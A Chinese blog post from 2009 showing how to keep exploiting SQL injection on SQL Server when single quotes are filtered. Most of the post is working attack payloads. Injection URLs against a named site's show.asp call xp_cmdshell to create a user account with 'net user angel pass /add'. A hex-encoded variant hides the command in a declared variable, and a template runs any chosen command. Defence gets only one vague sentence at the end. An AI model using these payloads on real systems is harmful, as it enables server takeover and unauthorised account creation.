专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » sql单引号:SQL注入中绕过' (单引号)限制继续注入 »正文

sql单引号:SQL注入中绕过' (单引号)限制继续注入

来源: 发布时间:星期六, 2009年9月12日 浏览:116次 评论:0
 
  我想不少人都看过些有关SQL Injection针对SQL Server攻击文章都是变量过滤不足甚至没有过滤而构造畸形SQL语句注入包括我写那篇SQL Injection实现和应用也是这样例子没有碰到任何过滤所以使我们相当轻松就注入成功了如下: http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  这往往给大家造成误解认为只要变量过滤了'就可以防止SQL Injection攻击这种意识为大量可以注入埋下祸根其实仅仅过滤'是不够在'被过滤情况下我们照样玩看下面语句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面那句有很大区别?可是效果完全是其实这些都是SQL语句

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  这句是“net user angel pass /add”16进制格式了解SQL朋友就容易明白先声明个变量a然后把我们指令赋值给a然后变量a最终执行我们输入命令变量a可以是任何命令如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a


解决办法:

  过滤变量限制只允许输入特定比如对于数字类型变量就限制只能输入数字类型数据具体就不说了这完全是作者自由发挥了


  • 篇文章: 浅谈免杀经验窍门技巧

  • 篇文章: DOS攻击原理以及常见思路方法介绍
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: